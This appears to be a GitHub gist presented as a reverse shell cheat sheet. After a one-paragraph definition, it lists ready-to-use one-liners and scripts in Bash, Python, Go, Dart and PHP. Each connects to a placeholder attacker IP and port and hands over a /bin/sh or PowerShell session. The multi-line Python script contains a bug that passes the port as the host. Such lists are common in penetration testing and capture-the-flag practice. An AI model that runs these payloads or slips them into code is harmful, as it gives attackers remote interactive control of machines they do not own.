Skip to content

Instantly share code, notes, and snippets.

@fadhilsaheer
Created May 15, 2021 15:08
Show Gist options
  • Save fadhilsaheer/0332134288d44fa5923f38fd071adb50 to your computer and use it in GitHub Desktop.
Save fadhilsaheer/0332134288d44fa5923f38fd071adb50 to your computer and use it in GitHub Desktop.
reverse shell cheat sheet

REVERSE SHELL CHEAT SHEET

Sources


A reverse shell is a shell session established on a connection that is initiated from a remote machine, not from the local host. Attackers who successfully exploit a remote command execution vulnerability can use a reverse shell to obtain an interactive shell session on the target machine and continue their attack


[IP] : Attacker IP [PORT] : Listening PORT


Bash

bash -i >& /dev/tcp/[IP]/[PORT] 0>&1

Python

  • single line
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[IP]",[PORT]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  • multi line
import socket
import subprocess
import os

attacker_ip = [IP]
attacker_port = [PORT]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((attacker_port, attacker_port))

os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)

p=subprocess.call(["/bin/sh","-i"])

Go

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","[IP]:[PORT]");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

Dart

import 'dart:io';
import 'dart:convert';

main() {
  Socket.connect("[IP]", [PORT]).then((socket) {
    socket.listen((data) {
      Process.start('powershell.exe', []).then((Process process) {
        process.stdin.writeln(new String.fromCharCodes(data).trim());
        process.stdout
          .transform(utf8.decoder)
          .listen((output) { socket.write(output); });
      });
    },
    onDone: () {
      socket.destroy();
    });
  });
}

Php

php -r '$sock=fsockopen("[IP]",[PORT]);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'


HACK THE WORLD 🌎 LEGALLY OF COURSE 😁

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment